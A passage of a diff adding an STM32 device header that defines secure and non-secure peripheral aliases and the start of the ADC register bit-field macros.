GTZC_MPCBB5 GTZC_MPCBB5_S +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_S + +#define GTZC_MPCBB6 GTZC_MPCBB6_S +#define GTZC_MPCBB6_BASE GTZC_MPCBB6_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define USART6 USART6_S +#define USART6_BASE USART6_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define I2C5 I2C5_S +#define I2C5_BASE I2C5_BASE_S + +#define I2C6 I2C6_S +#define I2C6_BASE I2C6_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define DAC DAC_S +#define DAC_BASE DAC_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define OPAMP OPAMP_S +#define OPAMP_BASE OPAMP_BASE_S + +#define OPAMP1 OPAMP1_S +#define OPAMP1_BASE OPAMP1_BASE_S + +#define OPAMP2 OPAMP2_S +#define OPAMP2_BASE OPAMP2_BASE_S + +#define OPAMP12_COMMON OPAMP12_COMMON_S +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SYSCFG SYSCFG_S +#define SYSCFG_BASE SYSCFG_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define COMP12 COMP12_S +#define COMP12_BASE COMP12_BASE_S + +#define COMP1 COMP1_S +#define COMP1_BASE COMP1_BASE_S + +#define COMP2 COMP2_S +#define COMP2_BASE COMP2_BASE_S + +#define COMP12_COMMON COMP12_COMMON_S +#define COMP12_COMMON_BASE COMP1_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + +#define SAI2 SAI2_S +#define SAI2_BASE SAI2_BASE_S + +#define SAI2_Block_A SAI2_Block_A_S +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_S + +#define SAI2_Block_B SAI2_Block_B_S +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define TSC TSC_S +#define TSC_BASE TSC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC2 ADC2_S +#define ADC2_BASE ADC2_BASE_S +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + + +#define ADC4 ADC4_S +#define ADC4_BASE ADC4_BASE_S + +#define ADC4_COMMON ADC4_COMMON_S +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + +#define SDMMC2 SDMMC2_S +#define SDMMC2_BASE SDMMC2_BASE_S + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define OCTOSPI2 OCTOSPI2_S +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_S + +#define OCTOSPIM OCTOSPIM_S +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_SDMMC2 DLYB_SDMMC2_S +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_S +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_S + +#define HSPI1 HSPI1_S +#define HSPI1_R_BASE HSPI1_R_BASE_S + +#define DMA2D DMA2D_S +#define DMA2D_BASE DMA2D_BASE_S + +#define USB_OTG_HS USB_OTG_HS_S +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_S + +#define MDF1 MDF1_S +#define MDF1_BASE MDF1_BASE_S + +#define MDF1_Filter0 MDF1_Filter0_S +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_S + +#define MDF1_Filter1 MDF1_Filter1_S +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_S + +#define MDF1_Filter2 MDF1_Filter2_S +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_S + +#define MDF1_Filter3 MDF1_Filter3_S +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_S + +#define MDF1_Filter4 MDF1_Filter4_S +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_S + +#define MDF1_Filter5 MDF1_Filter5_S +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_S + +#define ADF1 ADF1_S +#define ADF1_BASE ADF1_BASE_S + +#define ADF1_Filter0 ADF1_Filter0_S +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_S + +#define GFXMMU GFXMMU_S +#define GFXMMU_BASE GFXMMU_BASE_S +/* GFXMMU virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE GFXMMU_VIRTUAL_BUFFERS_BASE_S +#define GFXMMU_VIRTUAL_BUFFER0_BASE GFXMMU_VIRTUAL_BUFFER0_BASE_S +#define GFXMMU_VIRTUAL_BUFFER1_BASE GFXMMU_VIRTUAL_BUFFER1_BASE_S +#define GFXMMU_VIRTUAL_BUFFER2_BASE GFXMMU_VIRTUAL_BUFFER2_BASE_S +#define GFXMMU_VIRTUAL_BUFFER3_BASE GFXMMU_VIRTUAL_BUFFER3_BASE_S + +#define GPU2D GPU2D_BASE_S + +#define LTDC LTDC_S +#define LTDC_BASE LTDC_BASE_S + +#define LTDC_Layer1_BASE LTDC_Layer1_BASE_S +#define LTDC_Layer2_BASE LTDC_Layer2_BASE_S + +#define DSI DSI_S +#define DSI_BASE DSI_BASE_S + +#define REFBIAS REFBIAS_S +#define REFBIAS_BASE REFBIAS_BASE_S + +#define DPHY DPHY_S +#define DPHY_BASE DPHY_BASE_S + +#define JPEG JPEG_S +#define JPEG_BASE JPEG_BASE_S + +#define GFXTIM GFXTIM_S +#define GFXTIM_BASE GFXTIM_BASE_S +#else +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS +#define SRAM3_BASE SRAM3_BASE_NS +#define SRAM4_BASE SRAM4_BASE_NS +#define SRAM5_BASE SRAM5_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS +#define SRAM6_BASE SRAM6_BASE_NS +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DMA2D DMA2D_NS +#define DMA2D_BASE DMA2D_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA1_Channel8 GPDMA1_Channel8_NS +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_NS + +#define GPDMA1_Channel9 GPDMA1_Channel9_NS +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_NS + +#define GPDMA1_Channel10 GPDMA1_Channel10_NS +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_NS + +#define GPDMA1_Channel11 GPDMA1_Channel11_NS +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_NS + +#define GPDMA1_Channel12 GPDMA1_Channel12_NS +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_NS + +#define GPDMA1_Channel13 GPDMA1_Channel13_NS +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_NS + +#define GPDMA1_Channel14 GPDMA1_Channel14_NS +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_NS + +#define GPDMA1_Channel15 GPDMA1_Channel15_NS +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_NS + +#define LPDMA1 LPDMA1_NS +#define LPDMA1_BASE LPDMA1_BASE_NS + +#define LPDMA1_Channel0 LPDMA1_Channel0_NS +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_NS + +#define LPDMA1_Channel1 LPDMA1_Channel1_NS +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_NS + +#define LPDMA1_Channel2 LPDMA1_Channel2_NS +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_NS + +#define LPDMA1_Channel3 LPDMA1_Channel3_NS +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define GPIOI GPIOI_NS +#define GPIOI_BASE GPIOI_BASE_NS +#define GPIOJ GPIOJ_NS +#define GPIOJ_BASE GPIOJ_BASE_NS + +#define LPGPIO1 LPGPIO1_NS +#define LPGPIO1_BASE LPGPIO1_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_NS +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_NS + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_NS +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define RAMCFG_SRAM6 RAMCFG_SRAM6_NS +#define RAMCFG_SRAM6_BASE RAMCFG_SRAM6_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE EXTI_BASE_NS + +#define ICACHE ICACHE_NS +#define ICACHE_BASE ICACHE_BASE_NS + +#define DCACHE1 DCACHE1_NS +#define DCACHE1_BASE DCACHE1_BASE_NS + +#define DCACHE2 DCACHE2_NS +#define DCACHE2_BASE DCACHE2_BASE_NS + +#define GTZC_TZSC1 GTZC_TZSC1_NS +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_NS + +#define GTZC_TZSC2 GTZC_TZSC2_NS +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_NS + +#define GTZC_TZIC1 GTZC_TZIC1_NS +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_NS + +#define GTZC_TZIC2 GTZC_TZIC2_NS +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_NS + +#define GTZC_MPCBB1 GTZC_MPCBB1_NS +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_NS + +#define GTZC_MPCBB2 GTZC_MPCBB2_NS +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_NS + +#define GTZC_MPCBB3 GTZC_MPCBB3_NS +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_NS + +#define GTZC_MPCBB4 GTZC_MPCBB4_NS +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_NS + +#define GTZC_MPCBB5 GTZC_MPCBB5_NS +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_NS + +#define GTZC_MPCBB6 GTZC_MPCBB6_NS +#define GTZC_MPCBB6_BASE GTZC_MPCBB6_BASE_NS + +#define RTC RTC_NS +#define RTC_BASE RTC_BASE_NS + +#define TAMP TAMP_NS +#define TAMP_BASE TAMP_BASE_NS + +#define TIM1 TIM1_NS +#define TIM1_BASE TIM1_BASE_NS + +#define TIM2 TIM2_NS +#define TIM2_BASE TIM2_BASE_NS + +#define TIM3 TIM3_NS +#define TIM3_BASE TIM3_BASE_NS + +#define TIM4 TIM4_NS +#define TIM4_BASE TIM4_BASE_NS + +#define TIM5 TIM5_NS +#define TIM5_BASE TIM5_BASE_NS + +#define TIM6 TIM6_NS +#define TIM6_BASE TIM6_BASE_NS + +#define TIM7 TIM7_NS +#define TIM7_BASE TIM7_BASE_NS + +#define TIM8 TIM8_NS +#define TIM8_BASE TIM8_BASE_NS + +#define TIM15 TIM15_NS +#define TIM15_BASE TIM15_BASE_NS + +#define TIM16 TIM16_NS +#define TIM16_BASE TIM16_BASE_NS + +#define TIM17 TIM17_NS +#define TIM17_BASE TIM17_BASE_NS + +#define WWDG WWDG_NS +#define WWDG_BASE WWDG_BASE_NS + +#define IWDG IWDG_NS +#define IWDG_BASE IWDG_BASE_NS + +#define SPI1 SPI1_NS +#define SPI1_BASE SPI1_BASE_NS + +#define SPI2 SPI2_NS +#define SPI2_BASE SPI2_BASE_NS + +#define SPI3 SPI3_NS +#define SPI3_BASE SPI3_BASE_NS + +#define USART1 USART1_NS +#define USART1_BASE USART1_BASE_NS + +#define USART2 USART2_NS +#define USART2_BASE USART2_BASE_NS + +#define USART3 USART3_NS +#define USART3_BASE USART3_BASE_NS + +#define UART4 UART4_NS +#define UART4_BASE UART4_BASE_NS + +#define UART5 UART5_NS +#define UART5_BASE UART5_BASE_NS + +#define USART6 USART6_NS +#define USART6_BASE USART6_BASE_NS + +#define I2C1 I2C1_NS +#define I2C1_BASE I2C1_BASE_NS + +#define I2C2 I2C2_NS +#define I2C2_BASE I2C2_BASE_NS + +#define I2C3 I2C3_NS +#define I2C3_BASE I2C3_BASE_NS + +#define I2C4 I2C4_NS +#define I2C4_BASE I2C4_BASE_NS + +#define I2C5 I2C5_NS +#define I2C5_BASE I2C5_BASE_NS + +#define I2C6 I2C6_NS +#define I2C6_BASE I2C6_BASE_NS + +#define CRS CRS_NS +#define CRS_BASE CRS_BASE_NS + +#define FDCAN1 FDCAN1_NS +#define FDCAN1_BASE FDCAN1_BASE_NS + +#define FDCAN_CONFIG FDCAN_CONFIG_NS +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_NS +#define SRAMCAN_BASE SRAMCAN_BASE_NS + +#define DAC1 DAC1_NS +#define DAC1_BASE DAC1_BASE_NS + +#define OPAMP OPAMP_NS +#define OPAMP_BASE OPAMP_BASE_NS + +#define OPAMP1 OPAMP1_NS +#define OPAMP1_BASE OPAMP1_BASE_NS + +#define OPAMP2 OPAMP2_NS +#define OPAMP2_BASE OPAMP2_BASE_NS + +#define OPAMP12_COMMON OPAMP12_COMMON_NS +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_NS + +#define LPTIM1 LPTIM1_NS +#define LPTIM1_BASE LPTIM1_BASE_NS + +#define LPTIM2 LPTIM2_NS +#define LPTIM2_BASE LPTIM2_BASE_NS + +#define LPTIM3 LPTIM3_NS +#define LPTIM3_BASE LPTIM3_BASE_NS + +#define LPTIM4 LPTIM4_NS +#define LPTIM4_BASE LPTIM4_BASE_NS + +#define LPUART1 LPUART1_NS +#define LPUART1_BASE LPUART1_BASE_NS + +#define UCPD1 UCPD1_NS +#define UCPD1_BASE UCPD1_BASE_NS + +#define SYSCFG SYSCFG_NS +#define SYSCFG_BASE SYSCFG_BASE_NS + +#define VREFBUF VREFBUF_NS +#define VREFBUF_BASE VREFBUF_BASE_NS + +#define COMP12 COMP12_NS +#define COMP12_BASE COMP12_BASE_NS + +#define COMP1 COMP1_NS +#define COMP1_BASE COMP1_BASE_NS + +#define COMP2 COMP2_NS +#define COMP2_BASE COMP2_BASE_NS + +#define COMP12_COMMON COMP12_COMMON_NS +#define COMP12_COMMON_BASE COMP1_BASE_NS + +#define SAI1 SAI1_NS +#define SAI1_BASE SAI1_BASE_NS + +#define SAI1_Block_A SAI1_Block_A_NS +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_NS + +#define SAI1_Block_B SAI1_Block_B_NS +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_NS + +#define SAI2 SAI2_NS +#define SAI2_BASE SAI2_BASE_NS + +#define SAI2_Block_A SAI2_Block_A_NS +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_NS + +#define SAI2_Block_B SAI2_Block_B_NS +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_NS + +#define CRC CRC_NS +#define CRC_BASE CRC_BASE_NS + +#define TSC TSC_NS +#define TSC_BASE TSC_BASE_NS + +#define ADC1 ADC1_NS +#define ADC1_BASE ADC1_BASE_NS + +#define ADC2 ADC2_NS +#define ADC2_BASE ADC2_BASE_NS + +#define ADC12_COMMON ADC12_COMMON_NS +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_NS + +#define ADC4 ADC4_NS +#define ADC4_BASE ADC4_BASE_NS + +#define ADC4_COMMON ADC4_COMMON_NS +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_NS + +#define HASH HASH_NS +#define HASH_BASE HASH_BASE_NS + +#define HASH_DIGEST HASH_DIGEST_NS +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_NS + +#define RNG RNG_NS +#define RNG_BASE RNG_BASE_NS + +#define SDMMC1 SDMMC1_NS +#define SDMMC1_BASE SDMMC1_BASE_NS + +#define SDMMC2 SDMMC2_NS +#define SDMMC2_BASE SDMMC2_BASE_NS + +#define FMC_Bank1_R FMC_Bank1_R_NS +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_NS + +#define FMC_Bank1E_R FMC_Bank1E_R_NS +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_NS + +#define FMC_Bank3_R FMC_Bank3_R_NS +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_NS + +#define OCTOSPI1 OCTOSPI1_NS +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_NS + +#define OCTOSPI2 OCTOSPI2_NS +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_NS + +#define OCTOSPIM OCTOSPIM_NS +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_NS + +#define DLYB_SDMMC1 DLYB_SDMMC1_NS +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_NS + +#define DLYB_SDMMC2 DLYB_SDMMC2_NS +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_NS + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_NS +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_NS + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_NS +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_NS + +#define HSPI1 HSPI1_NS +#define HSPI1_R_BASE HSPI1_R_BASE_NS + +#define USB_OTG_HS USB_OTG_HS_NS +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_NS + +#define MDF1 MDF1_NS +#define MDF1_BASE MDF1_BASE_NS + +#define MDF1_Filter0 MDF1_Filter0_NS +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_NS + +#define MDF1_Filter1 MDF1_Filter1_NS +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_NS + +#define MDF1_Filter2 MDF1_Filter2_NS +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_NS + +#define MDF1_Filter3 MDF1_Filter3_NS +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_NS + +#define MDF1_Filter4 MDF1_Filter4_NS +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_NS + +#define MDF1_Filter5 MDF1_Filter5_NS +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_NS + +#define ADF1 ADF1_NS +#define ADF1_BASE ADF1_BASE_NS + +#define ADF1_Filter0 ADF1_Filter0_NS +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_NS +#define GFXMMU GFXMMU_NS +#define GFXMMU_BASE GFXMMU_BASE_NS +/* GFXMMU virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE GFXMMU_VIRTUAL_BUFFERS_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER0_BASE GFXMMU_VIRTUAL_BUFFER0_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER1_BASE GFXMMU_VIRTUAL_BUFFER1_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER2_BASE GFXMMU_VIRTUAL_BUFFER2_BASE_NS +#define GFXMMU_VIRTUAL_BUFFER3_BASE GFXMMU_VIRTUAL_BUFFER3_BASE_NS + +#define GPU2D GPU2D_BASE_NS + +#define LTDC LTDC_NS +#define LTDC_BASE LTDC_BASE_NS + +#define LTDC_Layer1 LTDC_Layer1_NS +#define LTDC_Layer1_BASE LTDC_Layer1_BASE_NS + +#define LTDC_Layer2 LTDC_Layer2_NS +#define LTDC_Layer2_BASE LTDC_Layer2_BASE_NS + +#define DSI DSI_NS +#define DSI_BASE DSI_BASE_NS + +#define REFBIAS REFBIAS_NS +#define REFBIAS_BASE REFBIAS_BASE_NS + +#define DPHY DPHY_NS +#define DPHY_BASE DPHY_BASE_NS + +#define JPEG JPEG_NS +#define JPEG_BASE JPEG_BASE_NS + +#define GFXTIM GFXTIM_NS +#define GFXTIM_BASE GFXTIM_BASE_NS +#endif + +/** @addtogroup Hardware_Constant_Definition + * @{ + */ +#define LSI_STARTUP_TIME 260U /*!< LSI Maximum startup time in us */ + +/** + * @} + */ + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +/******************************* ADC VERSION ********************************/ +#define ADC_VER_V5_X +#define ADC_MULTIMODE_SUPPORT +/******************** Bit definition for ADC_ISR register ********************/ +#define ADC_ISR_ADRDY_Pos (0UL) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC Ready (ADRDY) flag */ +#define ADC_ISR_EOSMP_Pos (1UL) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC End of Sampling flag */ +#define ADC_ISR_EOC_Pos (2UL) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC End of Regular Conversion flag */ +#define ADC_ISR_EOS_Pos (3UL) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC End of Regular sequence of Conversions flag */ +#define ADC_ISR_OVR_Pos (4UL) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC overrun flag */ +#define ADC_ISR_JEOC_Pos (5UL) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC End of Injected Conversion flag */ +#define ADC_ISR_JEOS_Pos (6UL) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC End of Injected sequence of Conversions flag */ +#define ADC_ISR_AWD1_Pos (7UL) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC Analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8UL) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC Analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9UL) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC Analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10UL) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 